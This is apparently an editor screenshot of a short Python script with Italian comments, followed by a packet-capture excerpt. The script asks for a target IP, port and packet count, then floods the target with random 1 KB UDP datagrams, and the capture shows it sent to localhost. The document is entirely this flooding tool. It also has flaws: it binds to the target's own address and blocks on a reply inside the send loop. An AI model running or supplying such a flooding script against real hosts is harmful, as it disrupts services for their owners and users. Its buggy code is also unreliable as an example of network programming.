



File Edit Search View Document Help



```
1 import socket, random
2
3 #qual è l'indirizzo del target, il soggetto che si vuole attaccare
4 SRV_ADDR=(input("IP target :"))
5
6 #qual è la porta del target
7 SRV_PORT=int(input("porta target :"))
8
9 #immettiamo IP e porta in una variabile
10 server_address=(SRV_ADDR,SRV_PORT)
11
12 #creazione pacchetto da 1KB
13 pacchetto= random.randbytes(1024)
14
15 #creazione del socket
16 s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
17
18 s.bind(server_address) |
19
20 #va inserito quanti pacchetti si vogliono inviare al target
21 num_pacchetti= int(input("numero di pacchetti da inviare :"))
22
23 #variabile che servirà per chiudere il ciclo while
24 contatore = 0
25
26 while contatore < num_pacchetti:
27
28     #i pacchetti vengono mandati al target
29     s.sendto(pacchetto,server_address)
30
31 #una volta aperta la connessione l'invio dei file è possibile
32     data,address= s.recvfrom(1024)
33
34     print("\n Dati ricevuti: \n",data )
35 #aumento della variabile per chiudere il ciclo while
36     contatore=contatore + 1
37
38 s.close()
39
```

```

Frame 1: 1068 bytes on wire (8544 bits), 1068 bytes captured (8544 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
User Datagram Protocol, Src Port: 1234, Dst Port: 1234
Data (1024 bytes)
  Data [truncated]: e702a1dbe6c4ff4d8051c4615a4e9ba364511f1886fe0946a263262f2a0ec7dfec2107359ba6ba4a8b8bc2e3108c86538f1e58c122bd31d8c7d05ac4979f69a03e837a0892221e616792ccc69edf0d727e0dad00cb78495927b76c8d1
  [Length: 1024]

```